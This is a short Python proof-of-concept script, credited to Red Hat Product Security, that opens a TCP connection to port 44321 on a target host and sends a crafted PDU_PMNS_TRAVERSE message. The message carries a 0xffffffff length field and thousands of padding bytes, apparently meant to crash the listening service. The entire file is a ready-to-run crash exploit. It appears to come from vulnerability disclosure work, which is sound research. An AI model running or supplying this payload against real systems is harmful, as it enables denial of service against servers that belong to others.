#
# usage: python crash-namereq-traverse HOST
#
# Sends a crafted PDU_PMNS_TRAVERSE PDU to HOST.
#
# Florian Weimer / Red Hat Product Security Team
#
import socket
import sys
_, host = sys.argv
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, 44321))
message = b"\x00\x00\x00\x14\x00\x00p\x0c\x00\x00\x00\x01\x00\x00\x00\x01\x01\x02\x00\x00"
message += b'\x00\x00\x10\x18\x00\x00'
message += b"\x70\x10"	# PDU_PMNS_TRAVERSE
message += b'\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffXXXX'
message += b'X' * 0x1000
sock.send(message)
sock.close()
